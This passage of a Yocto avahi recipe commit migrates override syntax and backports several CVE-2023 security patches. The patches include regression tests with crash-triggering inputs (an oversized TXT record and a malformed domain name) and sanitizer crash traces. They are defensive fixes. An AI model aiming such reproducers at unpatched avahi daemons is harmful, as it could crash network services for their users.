# The distro choice determines what init scripts are installed
EXTRA_OECONF_SYSVINIT = "${@bb.utils.contains('DISTRO_FEATURES','sysvinit','--with-distro=debian','--with-distro=none',d)}"
-EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_unitdir}/system/','--without-systemdsystemunitdir',d)}"
+EXTRA_OECONF_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES','systemd','--with-systemdsystemunitdir=${systemd_system_unitdir}/','--without-systemdsystemunitdir',d)}"
-do_configure_prepend() {
+do_configure:prepend() {
# This m4 file will get in the way of our introspection.m4 with special cross-compilation fixes
rm "${S}/common/introspection.m4" || true
}
-do_compile_prepend() {
+do_compile:prepend() {
export GIR_EXTRA_LIBS_PATH="${B}/avahi-gobject/.libs:${B}/avahi-common/.libs:${B}/avahi-client/.libs:${B}/avahi-glib/.libs"
}
-RRECOMMENDS_${PN}_append_libc-glibc = " libnss-mdns"
+RRECOMMENDS:${PN}:append:libc-glibc = " libnss-mdns"
do_install() {
autotools_do_install
rm -rf ${D}/run
- rm -rf ${D}${datadir}/dbus-1/interfaces
test -d ${D}${datadir}/dbus-1 && rmdir --ignore-fail-on-non-empty ${D}${datadir}/dbus-1
rm -rf ${D}${libdir}/avahi
@@ -90,88 +101,88 @@ do_install() {
PACKAGES =+ "${@bb.utils.contains("PACKAGECONFIG", "libdns_sd", "libavahi-compat-libdnssd", "", d)}"
-FILES_libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
+FILES:libavahi-compat-libdnssd = "${libdir}/libdns_sd.so.*"
-RPROVIDES_libavahi-compat-libdnssd = "libdns-sd"
+RPROVIDES:libavahi-compat-libdnssd = "libdns-sd"
inherit update-rc.d systemd useradd
PACKAGES =+ "libavahi-gobject avahi-daemon libavahi-common libavahi-core libavahi-client avahi-dnsconfd libavahi-glib avahi-autoipd avahi-utils avahi-discover avahi-ui"
-FILES_avahi-ui = "${libdir}/libavahi-ui*.so.*"
-FILES_avahi-discover = "${datadir}/applications/avahi-discover.desktop \
+FILES:avahi-ui = "${libdir}/libavahi-ui*.so.*"
+FILES:avahi-discover = "${datadir}/applications/avahi-discover.desktop \
${datadir}/avahi/interfaces/avahi-discover.ui \
${bindir}/avahi-discover-standalone \
"
-LICENSE_libavahi-gobject = "LGPLv2.1+"
-LICENSE_avahi-daemon = "LGPLv2.1+"
-LICENSE_libavahi-common = "LGPLv2.1+"
-LICENSE_libavahi-core = "LGPLv2.1+"
-LICENSE_libavahi-client = "LGPLv2.1+"
-LICENSE_avahi-dnsconfd = "LGPLv2.1+"
-LICENSE_libavahi-glib = "LGPLv2.1+"
-LICENSE_avahi-autoipd = "LGPLv2.1+"
-LICENSE_avahi-utils = "LGPLv2.1+"
+LICENSE:libavahi-gobject = "LGPL-2.1-or-later"
+LICENSE:avahi-daemon = "LGPL-2.1-or-later"
+LICENSE:libavahi-common = "LGPL-2.1-or-later"
+LICENSE:libavahi-core = "LGPL-2.1-or-later"
+LICENSE:libavahi-client = "LGPL-2.1-or-later"
+LICENSE:avahi-dnsconfd = "LGPL-2.1-or-later"
+LICENSE:libavahi-glib = "LGPL-2.1-or-later"
+LICENSE:avahi-autoipd = "LGPL-2.1-or-later"
+LICENSE:avahi-utils = "LGPL-2.1-or-later"
# As avahi doesn't put any files into PN, clear the files list to avoid problems
# if extra libraries appear.
-FILES_${PN} = ""
-FILES_avahi-autoipd = "${sbindir}/avahi-autoipd \
+FILES:${PN} = ""
+FILES:avahi-autoipd = "${sbindir}/avahi-autoipd \
${sysconfdir}/avahi/avahi-autoipd.action \
${sysconfdir}/dhcp/*/avahi-autoipd \
${sysconfdir}/udhcpc.d/00avahi-autoipd \
${sysconfdir}/udhcpc.d/99avahi-autoipd"
-FILES_libavahi-common = "${libdir}/libavahi-common.so.*"
-FILES_libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
-FILES_avahi-daemon = "${sbindir}/avahi-daemon \
+FILES:libavahi-common = "${libdir}/libavahi-common.so.*"
+FILES:libavahi-core = "${libdir}/libavahi-core.so.* ${libdir}/girepository-1.0/AvahiCore*.typelib"
+FILES:avahi-daemon = "${sbindir}/avahi-daemon \
${sysconfdir}/avahi/avahi-daemon.conf \
${sysconfdir}/avahi/hosts \
${sysconfdir}/avahi/services \
${sysconfdir}/dbus-1 \
${sysconfdir}/init.d/avahi-daemon \
- ${datadir}/avahi/introspection/*.introspect \
+ ${datadir}/dbus-1/interfaces \
${datadir}/avahi/avahi-service.dtd \
${datadir}/avahi/service-types \
${datadir}/dbus-1/system-services"
-FILES_libavahi-client = "${libdir}/libavahi-client.so.*"
-FILES_avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
+FILES:libavahi-client = "${libdir}/libavahi-client.so.*"
+FILES:avahi-dnsconfd = "${sbindir}/avahi-dnsconfd \
${sysconfdir}/avahi/avahi-dnsconfd.action \
${sysconfdir}/init.d/avahi-dnsconfd"
-FILES_libavahi-glib = "${libdir}/libavahi-glib.so.*"
-FILES_libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
-FILES_avahi-utils = "${bindir}/avahi-* ${bindir}/b* ${datadir}/applications/b*"
+FILES:libavahi-glib = "${libdir}/libavahi-glib.so.*"
+FILES:libavahi-gobject = "${libdir}/libavahi-gobject.so.* ${libdir}/girepository-1.0/Avahi*.typelib"
+FILES:avahi-utils = "${bindir}/avahi-* ${bindir}/b* ${datadir}/applications/b*"
-RDEPENDS_${PN}-dev = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
-RDEPENDS_${PN}-dev += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
-RDEPENDS_${PN}-dnsconfd = "${PN}-daemon"
+DEV_PKG_DEPENDENCY = "avahi-daemon (= ${EXTENDPKGV}) libavahi-core (= ${EXTENDPKGV})"
+DEV_PKG_DEPENDENCY += "${@["", " libavahi-client (= ${EXTENDPKGV})"][bb.utils.contains('PACKAGECONFIG', 'dbus', 1, 0, d)]}"
+RDEPENDS:${PN}-dnsconfd = "${PN}-daemon"
-RRECOMMENDS_avahi-daemon_append_libc-glibc = " libnss-mdns"
+RRECOMMENDS:avahi-daemon:append:libc-glibc = " libnss-mdns"
-CONFFILES_avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
+CONFFILES:avahi-daemon = "${sysconfdir}/avahi/avahi-daemon.conf"
USERADD_PACKAGES = "avahi-daemon avahi-autoipd"
-USERADD_PARAM_avahi-daemon = "--system --home /run/avahi-daemon \
+USERADD_PARAM:avahi-daemon = "--system --home /run/avahi-daemon \
--no-create-home --shell /bin/false \
--user-group avahi"
-USERADD_PARAM_avahi-autoipd = "--system --home /run/avahi-autoipd \
+USERADD_PARAM:avahi-autoipd = "--system --home /run/avahi-autoipd \
--no-create-home --shell /bin/false \
--user-group \
-c \"Avahi autoip daemon\" \
avahi-autoipd"
INITSCRIPT_PACKAGES = "avahi-daemon avahi-dnsconfd"
-INITSCRIPT_NAME_avahi-daemon = "avahi-daemon"
-INITSCRIPT_PARAMS_avahi-daemon = "defaults 21 19"
-INITSCRIPT_NAME_avahi-dnsconfd = "avahi-dnsconfd"
-INITSCRIPT_PARAMS_avahi-dnsconfd = "defaults 22 19"
+INITSCRIPT_NAME:avahi-daemon = "avahi-daemon"
+INITSCRIPT_PARAMS:avahi-daemon = "defaults 21 19"
+INITSCRIPT_NAME:avahi-dnsconfd = "avahi-dnsconfd"
+INITSCRIPT_PARAMS:avahi-dnsconfd = "defaults 22 19"
SYSTEMD_PACKAGES = "${PN}-daemon ${PN}-dnsconfd"
-SYSTEMD_SERVICE_${PN}-daemon = "avahi-daemon.service"
-SYSTEMD_SERVICE_${PN}-dnsconfd = "avahi-dnsconfd.service"
+SYSTEMD_SERVICE:${PN}-daemon = "avahi-daemon.service"
+SYSTEMD_SERVICE:${PN}-dnsconfd = "avahi-dnsconfd.service"
-do_install_append() {
+do_install:append() {
install -d ${D}${sysconfdir}/udhcpc.d
install ${WORKDIR}/00avahi-autoipd ${D}${sysconfdir}/udhcpc.d
install ${WORKDIR}/99avahi-autoipd ${D}${sysconfdir}/udhcpc.d
@@ -179,7 +190,7 @@ do_install_append() {
# At the time the postinst runs, dbus might not be setup so only restart if running
# Don't exit early, because update-rc.d needs to run subsequently.
-pkg_postinst_avahi-daemon () {
+pkg_postinst:avahi-daemon () {
if [ -z "$D" ]; then
killall -q -HUP dbus-daemon || true
fi
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-1981.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-1981.patch
new file mode 100644
index 0000000000..4d7924d13a
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-1981.patch
@@ -0,0 +1,58 @@
+From a2696da2f2c50ac43b6c4903f72290d5c3fa9f6f Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Petr=20Men=C5=A1=C3=ADk?= <pemensik@redhat.com>
+Date: Thu, 17 Nov 2022 01:51:53 +0100
+Subject: [PATCH] Emit error if requested service is not found
+
+It currently just crashes instead of replying with error. Check return
+value and emit error instead of passing NULL pointer to reply.
+
+Fixes #375
+
+Upstream-Status: Backport [import from ubuntu https://git.launchpad.net/ubuntu/+source/avahi/tree/debian/patches/CVE-2023-1981.patch?h=ubuntu/jammy-security
+Upstream commit https://github.com/lathiat/avahi/commit/a2696da2f2c50ac43b6c4903f72290d5c3fa9f6f]
+CVE: CVE-2023-1981
+Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
+---
+ avahi-daemon/dbus-protocol.c | 20 ++++++++++++++------
+ 1 file changed, 14 insertions(+), 6 deletions(-)
+
+diff --git a/avahi-daemon/dbus-protocol.c b/avahi-daemon/dbus-protocol.c
+index 70d7687bc..406d0b441 100644
+--- a/avahi-daemon/dbus-protocol.c
++++ b/avahi-daemon/dbus-protocol.c
+@@ -375,10 +375,14 @@ static DBusHandlerResult dbus_get_alternative_host_name(DBusConnection *c, DBusM
+ }
+
+ t = avahi_alternative_host_name(n);
+- avahi_dbus_respond_string(c, m, t);
+- avahi_free(t);
++ if (t) {
++ avahi_dbus_respond_string(c, m, t);
++ avahi_free(t);
+
+- return DBUS_HANDLER_RESULT_HANDLED;
++ return DBUS_HANDLER_RESULT_HANDLED;
++ } else {
++ return avahi_dbus_respond_error(c, m, AVAHI_ERR_NOT_FOUND, "Hostname not found");
++ }
+ }
+
+ static DBusHandlerResult dbus_get_alternative_service_name(DBusConnection *c, DBusMessage *m, DBusError *error) {
+@@ -389,10 +393,14 @@ static DBusHandlerResult dbus_get_alternative_service_name(DBusConnection *c, DB
+ }
+
+ t = avahi_alternative_service_name(n);
+- avahi_dbus_respond_string(c, m, t);
+- avahi_free(t);
++ if (t) {
++ avahi_dbus_respond_string(c, m, t);
++ avahi_free(t);
+
+- return DBUS_HANDLER_RESULT_HANDLED;
++ return DBUS_HANDLER_RESULT_HANDLED;
++ } else {
++ return avahi_dbus_respond_error(c, m, AVAHI_ERR_NOT_FOUND, "Service not found");
++ }
+ }
+
+ static DBusHandlerResult dbus_create_new_entry_group(DBusConnection *c, DBusMessage *m, DBusError *error) {
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38469-1.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38469-1.patch
new file mode 100644
index 0000000000..a078f66102
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38469-1.patch
@@ -0,0 +1,48 @@
+From 72842945085cc3adaccfdfa2853771b0e75ef991 Mon Sep 17 00:00:00 2001
+From: Evgeny Vereshchagin <evvers@ya.ru>
+Date: Mon, 23 Oct 2023 20:29:31 +0000
+Subject: [PATCH] avahi: core: reject overly long TXT resource records
+
+Closes https://github.com/lathiat/avahi/issues/455
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/a337a1ba7d15853fb56deef1f464529af6e3a1cf]
+CVE: CVE-2023-38469
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-core/rr.c | 9 ++++++++-
+ 1 file changed, 8 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-core/rr.c b/avahi-core/rr.c
+index 7fa0bee..b03a24c 100644
+--- a/avahi-core/rr.c
++++ b/avahi-core/rr.c
+@@ -32,6 +32,7 @@
+ #include <avahi-common/malloc.h>
+ #include <avahi-common/defs.h>
+
++#include "dns.h"
+ #include "rr.h"
+ #include "log.h"
+ #include "util.h"
+@@ -688,11 +689,17 @@ int avahi_record_is_valid(AvahiRecord *r) {
+ case AVAHI_DNS_TYPE_TXT: {
+
+ AvahiStringList *strlst;
++ size_t used = 0;
+
+- for (strlst = r->data.txt.string_list; strlst; strlst = strlst->next)
++ for (strlst = r->data.txt.string_list; strlst; strlst = strlst->next) {
+ if (strlst->size > 255 || strlst->size <= 0)
+ return 0;
+
++ used += 1+strlst->size;
++ if (used > AVAHI_DNS_RDATA_MAX)
++ return 0;
++ }
++
+ return 1;
+ }
+ }
+--
+2.40.0
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38469-2.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38469-2.patch
new file mode 100644
index 0000000000..f8f60ddca1
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38469-2.patch
@@ -0,0 +1,65 @@
+From c6cab87df290448a63323c8ca759baa516166237 Mon Sep 17 00:00:00 2001
+From: Evgeny Vereshchagin <evvers@ya.ru>
+Date: Wed, 25 Oct 2023 18:15:42 +0000
+Subject: [PATCH] tests: pass overly long TXT resource records
+
+to make sure they don't crash avahi any more.
+It reproduces https://github.com/lathiat/avahi/issues/455
+
+Canonical notes:
+nickgalanis> removed first hunk since there is no .github dir in this release
+
+Upstream-Status: Backport [import from ubuntu https://git.launchpad.net/ubuntu/+source/avahi/tree/debian/patches/CVE-2023-38469-2.patch?h=ubuntu/jammy-security
+Upstream commit https://github.com/lathiat/avahi/commit/c6cab87df290448a63323c8ca759baa516166237]
+CVE: CVE-2023-38469
+Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
+---
+ avahi-client/client-test.c | 14 ++++++++++++++
+ 1 files changed, 14 insertions(+)
+
+Index: avahi-0.8/avahi-client/client-test.c
+===================================================================
+--- avahi-0.8.orig/avahi-client/client-test.c
++++ avahi-0.8/avahi-client/client-test.c
+@@ -22,6 +22,7 @@
+ #endif
+
+ #include <stdio.h>
++#include <string.h>
+ #include <assert.h>
+
+ #include <avahi-client/client.h>
+@@ -33,6 +34,8 @@
+ #include <avahi-common/malloc.h>
+ #include <avahi-common/timeval.h>
+
++#include <avahi-core/dns.h>
++
+ static const AvahiPoll *poll_api = NULL;
+ static AvahiSimplePoll *simple_poll = NULL;
+
+@@ -222,6 +225,9 @@ int main (AVAHI_GCC_UNUSED int argc, AVA
+ uint32_t cookie;
+ struct timeval tv;
+ AvahiAddress a;
++ uint8_t rdata[AVAHI_DNS_RDATA_MAX+1];
++ AvahiStringList *txt = NULL;
++ int r;
+
+ simple_poll = avahi_simple_poll_new();
+ poll_api = avahi_simple_poll_get(simple_poll);
+@@ -258,6 +264,14 @@ int main (AVAHI_GCC_UNUSED int argc, AVA
+ printf("%s\n", avahi_strerror(avahi_entry_group_add_service (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "Lathiat's Site", "_http._tcp", NULL, NULL, 80, "foo=bar", NULL)));
+ printf("add_record: %d\n", avahi_entry_group_add_record (group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "TestX", 0x01, 0x10, 120, "\5booya", 6));
+
++ memset(rdata, 1, sizeof(rdata));
++ r = avahi_string_list_parse(rdata, sizeof(rdata), &txt);
++ assert(r >= 0);
++ assert(avahi_string_list_serialize(txt, NULL, 0) == sizeof(rdata));
++ error = avahi_entry_group_add_service_strlst(group, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, 0, "TestX", "_qotd._tcp", NULL, NULL, 123, txt);
++ assert(error == AVAHI_ERR_INVALID_RECORD);
++ avahi_string_list_free(txt);
++
+ avahi_entry_group_commit (group);
+
+ domain = avahi_domain_browser_new (avahi, AVAHI_IF_UNSPEC, AVAHI_PROTO_UNSPEC, NULL, AVAHI_DOMAIN_BROWSER_BROWSE, 0, avahi_domain_browser_callback, (char*) "omghai3u");
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38470-1.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38470-1.patch
new file mode 100644
index 0000000000..91f9e677ac
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38470-1.patch
@@ -0,0 +1,59 @@
+From af7bfad67ca53a7c4042a4a2d85456b847e9f249 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Petr=20Men=C5=A1=C3=ADk?= <pemensik@redhat.com>
+Date: Tue, 11 Apr 2023 15:29:59 +0200
+Subject: [PATCH] avahi: Ensure each label is at least one byte long
+
+The only allowed exception is single dot, where it should return empty
+string.
+
+Fixes #454.
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/94cb6489114636940ac683515417990b55b5d66c]
+CVE: CVE-2023-38470
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-common/domain-test.c | 14 ++++++++++++++
+ avahi-common/domain.c | 2 +-
+ 2 files changed, 15 insertions(+), 1 deletion(-)
+
+diff --git a/avahi-common/domain-test.c b/avahi-common/domain-test.c
+index cf763ec..3acc1c1 100644
+--- a/avahi-common/domain-test.c
++++ b/avahi-common/domain-test.c
+@@ -45,6 +45,20 @@ int main(AVAHI_GCC_UNUSED int argc, AVAHI_GCC_UNUSED char *argv[]) {
+ printf("%s\n", s = avahi_normalize_name_strdup("fo\\\\o\\..f oo."));
+ avahi_free(s);
+
++ printf("%s\n", s = avahi_normalize_name_strdup("."));
++ avahi_free(s);
++
++ s = avahi_normalize_name_strdup(",.=.}.=.?-.}.=.?.?.}.}.?.?.?.z.?.?.}.}."
++ "}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.}.}.}"
++ ".?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.=.=.?.?.}.}.?.?.?.zM.?`"
++ "?.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}??.}.}.?.?."
++ "?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM.?`?.}.}.}."
++ "??.?.zM.?`?.}.}.}.?.?.?.r.=.?.}.=.?.?.}.?.?.?.}.=.?.?.}?"
++ "?.}.}.?.?.?.z.?.?.}.}.}.?.?.?.r.=.=.}.=.?.}}.}.?.?.?.zM."
++ "?`?.}.}.}.?.?.?.r.=.=.?.?`.?.?}.}.}.?.?.?.r.=.?.}.=.?.?."
++ "}.?.?.?.}.=.?.?.}");
++ assert(s == NULL);
++
+ printf("%i\n", avahi_domain_equal("\\065aa bbb\\.\\046cc.cc\\\\.dee.fff.", "Aaa BBB\\.\\.cc.cc\\\\.dee.fff"));
+ printf("%i\n", avahi_domain_equal("A", "a"));
+
+diff --git a/avahi-common/domain.c b/avahi-common/domain.c
+index 3b1ab68..e66d241 100644
+--- a/avahi-common/domain.c
++++ b/avahi-common/domain.c
+@@ -201,7 +201,7 @@ char *avahi_normalize_name(const char *s, char *ret_s, size_t size) {
+ }
+
+ if (!empty) {
+- if (size < 1)
++ if (size < 2)
+ return NULL;
+
+ *(r++) = '.';
+--
+2.40.0
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38470-2.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38470-2.patch
new file mode 100644
index 0000000000..e0736bf210
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38470-2.patch
@@ -0,0 +1,52 @@
+From 20dec84b2480821704258bc908e7b2bd2e883b24 Mon Sep 17 00:00:00 2001
+From: Evgeny Vereshchagin <evvers@ya.ru>
+Date: Tue, 19 Sep 2023 03:21:25 +0000
+Subject: [PATCH] [common] bail out when escaped labels can't fit into ret
+
+Fixes:
+```
+==93410==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9e76f14c16 at pc 0x00000047208d bp 0x7ffee90a6a00 sp 0x7ffee90a61c8
+READ of size 1110 at 0x7f9e76f14c16 thread T0
+ #0 0x47208c in __interceptor_strlen (out/fuzz-domain+0x47208c) (BuildId: 731b20c1eef22c2104e75a6496a399b10cfc7cba)
+ #1 0x534eb0 in avahi_strdup avahi/avahi-common/malloc.c:167:12
+ #2 0x53862c in avahi_normalize_name_strdup avahi/avahi-common/domain.c:226:12
+```
+and
+```
+fuzz-domain: fuzz/fuzz-domain.c:38: int LLVMFuzzerTestOneInput(const uint8_t *, size_t): Assertion `avahi_domain_equal(s, t)' failed.
+==101571== ERROR: libFuzzer: deadly signal
+ #0 0x501175 in __sanitizer_print_stack_trace (/home/vagrant/avahi/out/fuzz-domain+0x501175) (BuildId: 682bf6400aff9d41b64b6e2cc3ef5ad600216ea8)
+ #1 0x45ad2c in fuzzer::PrintStackTrace() (/home/vagrant/avahi/out/fuzz-domain+0x45ad2c) (BuildId: 682bf6400aff9d41b64b6e2cc3ef5ad600216ea8)
+ #2 0x43fc07 in fuzzer::Fuzzer::CrashCallback() (/home/vagrant/avahi/out/fuzz-domain+0x43fc07) (BuildId: 682bf6400aff9d41b64b6e2cc3ef5ad600216ea8)
+ #3 0x7f1581d7ebaf (/lib64/libc.so.6+0x3dbaf) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #4 0x7f1581dcf883 in __pthread_kill_implementation (/lib64/libc.so.6+0x8e883) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #5 0x7f1581d7eafd in gsignal (/lib64/libc.so.6+0x3dafd) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #6 0x7f1581d6787e in abort (/lib64/libc.so.6+0x2687e) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #7 0x7f1581d6779a in __assert_fail_base.cold (/lib64/libc.so.6+0x2679a) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #8 0x7f1581d77186 in __assert_fail (/lib64/libc.so.6+0x36186) (BuildId: c9f62793b9e886eb1b95077d4f26fe2b4aa1ac25)
+ #9 0x5344a4 in LLVMFuzzerTestOneInput /home/vagrant/avahi/fuzz/fuzz-domain.c:38:9
+```
+
+It's a follow-up to 94cb6489114636940ac683515417990b55b5d66c
+
+Upstream-Status: Backport [import from ubuntu https://git.launchpad.net/ubuntu/+source/avahi/tree/debian/patches/CVE-2023-38470-2.patch?h=ubuntu/jammy-security
+CVE: CVE-2023-38470 #Follow-up patch
+Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
+---
+ avahi-common/domain.c | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+Index: avahi-0.8/avahi-common/domain.c
+===================================================================
+--- avahi-0.8.orig/avahi-common/domain.c
++++ avahi-0.8/avahi-common/domain.c
+@@ -210,7 +210,8 @@ char *avahi_normalize_name(const char *s
+ } else
+ empty = 0;
+
+- avahi_escape_label(label, strlen(label), &r, &size);
++ if (!(avahi_escape_label(label, strlen(label), &r, &size)))
++ return NULL;
+ }
+
+ return ret_s;
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38471-1.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38471-1.patch
new file mode 100644
index 0000000000..b3f716495d
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38471-1.patch
@@ -0,0 +1,73 @@
+From 48d745db7fd554fc33e96ec86d3675ebd530bb8e Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Mon, 23 Oct 2023 13:38:35 +0200
+Subject: [PATCH] avahi: core: extract host name using avahi_unescape_label()
+
+Previously we could create invalid escape sequence when we split the
+string on dot. For example, from valid host name "foo\\.bar" we have
+created invalid name "foo\\" and tried to set that as the host name
+which crashed the daemon.
+
+Fixes #453
+
+Upstream-Status: Backport [https://github.com/lathiat/avahi/commit/894f085f402e023a98cbb6f5a3d117bd88d93b09]
+CVE: CVE-2023-38471
+
+Signed-off-by: Meenali Gupta <meenali.gupta@windriver.com>
+---
+ avahi-core/server.c | 27 +++++++++++++++++++++------
+ 1 file changed, 21 insertions(+), 6 deletions(-)
+
+diff --git a/avahi-core/server.c b/avahi-core/server.c
+index e507750..40f1d68 100644
+--- a/avahi-core/server.c
++++ b/avahi-core/server.c
+@@ -1295,7 +1295,11 @@ static void update_fqdn(AvahiServer *s) {
+ }
+
+ int avahi_server_set_host_name(AvahiServer *s, const char *host_name) {
+- char *hn = NULL;
++ char label_escaped[AVAHI_LABEL_MAX*4+1];
++ char label[AVAHI_LABEL_MAX];
++ char *hn = NULL, *h;
++ size_t len;
++
+ assert(s);
+
+ AVAHI_CHECK_VALIDITY(s, !host_name || avahi_is_valid_host_name(host_name), AVAHI_ERR_INVALID_HOST_NAME);
+@@ -1305,17 +1309,28 @@ int avahi_server_set_host_name(AvahiServer *s, const char *host_name) {
+ else
+ hn = avahi_normalize_name_strdup(host_name);
+
+- hn[strcspn(hn, ".")] = 0;
++ h = hn;
++ if (!avahi_unescape_label((const char **)&hn, label, sizeof(label))) {
++ avahi_free(h);
++ return AVAHI_ERR_INVALID_HOST_NAME;
++ }
++
++ avahi_free(h);
++
++ h = label_escaped;
++ len = sizeof(label_escaped);
++ if (!avahi_escape_label(label, strlen(label), &h, &len))
++ return AVAHI_ERR_INVALID_HOST_NAME;
+
+- if (avahi_domain_equal(s->host_name, hn) && s->state != AVAHI_SERVER_COLLISION) {
+- avahi_free(hn);
++ if (avahi_domain_equal(s->host_name, label_escaped) && s->state != AVAHI_SERVER_COLLISION)
+ return avahi_server_set_errno(s, AVAHI_ERR_NO_CHANGE);
+- }
+
+ withdraw_host_rrs(s);
+
+ avahi_free(s->host_name);
+- s->host_name = hn;
++ s->host_name = avahi_strdup(label_escaped);
++ if (!s->host_name)
++ return AVAHI_ERR_NO_MEMORY;
+
+ update_fqdn(s);
+
+--
+2.40.0
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38471-2.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38471-2.patch
new file mode 100644
index 0000000000..44737bfc2e
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38471-2.patch
@@ -0,0 +1,52 @@
+From b675f70739f404342f7f78635d6e2dcd85a13460 Mon Sep 17 00:00:00 2001
+From: Evgeny Vereshchagin <evvers@ya.ru>
+Date: Tue, 24 Oct 2023 22:04:51 +0000
+Subject: [PATCH] core: return errors from avahi_server_set_host_name properly
+
+It's a follow-up to 894f085f402e023a98cbb6f5a3d117bd88d93b09
+
+Upstream-Status: Backport [import from ubuntu https://git.launchpad.net/ubuntu/+source/avahi/tree/debian/patches/CVE-2023-38471-2.patch?h=ubuntu/jammy-security
+Upstream commit https://github.com/lathiat/avahi/commit/b675f70739f404342f7f78635d6e2dcd85a13460]
+CVE: CVE-2023-38471 #Follow-up Patch
+Signed-off-by: Vijay Anusuri <vanusuri@mvista.com>
+---
+ avahi-core/server.c | 9 ++++++---
+ 1 file changed, 6 insertions(+), 3 deletions(-)
+
+Index: avahi-0.8/avahi-core/server.c
+===================================================================
+--- avahi-0.8.orig/avahi-core/server.c
++++ avahi-0.8/avahi-core/server.c
+@@ -1309,10 +1309,13 @@ int avahi_server_set_host_name(AvahiServ
+ else
+ hn = avahi_normalize_name_strdup(host_name);
+
++ if (!hn)
++ return avahi_server_set_errno(s, AVAHI_ERR_NO_MEMORY);
++
+ h = hn;
+ if (!avahi_unescape_label((const char **)&hn, label, sizeof(label))) {
+ avahi_free(h);
+- return AVAHI_ERR_INVALID_HOST_NAME;
++ return avahi_server_set_errno(s, AVAHI_ERR_INVALID_HOST_NAME);
+ }
+
+ avahi_free(h);
+@@ -1320,7 +1323,7 @@ int avahi_server_set_host_name(AvahiServ
+ h = label_escaped;
+ len = sizeof(label_escaped);
+ if (!avahi_escape_label(label, strlen(label), &h, &len))
+- return AVAHI_ERR_INVALID_HOST_NAME;
++ return avahi_server_set_errno(s, AVAHI_ERR_INVALID_HOST_NAME);
+
+ if (avahi_domain_equal(s->host_name, label_escaped) && s->state != AVAHI_SERVER_COLLISION)
+ return avahi_server_set_errno(s, AVAHI_ERR_NO_CHANGE);
+@@ -1330,7 +1333,7 @@ int avahi_server_set_host_name(AvahiServ
+ avahi_free(s->host_name);
+ s->host_name = avahi_strdup(label_escaped);
+ if (!s->host_name)
+- return AVAHI_ERR_NO_MEMORY;
++ return avahi_server_set_errno(s, AVAHI_ERR_NO_MEMORY);
+
+ update_fqdn(s);
+
diff --git a/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch b/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch
new file mode 100644
index 0000000000..85dbded73b
--- /dev/null
+++ b/meta/recipes-connectivity/avahi/files/CVE-2023-38472.patch
@@ -0,0 +1,46 @@
+From b024ae5749f4aeba03478e6391687c3c9c8dee40 Mon Sep 17 00:00:00 2001
+From: Michal Sekletar <msekleta@redhat.com>
+Date: Thu, 19 Oct 2023 17:36:44 +0200
+Subject: [PATCH] core: make sure there is rdata to process before parsing it
+
+Fixes #452
+
+CVE-2023-38472
+
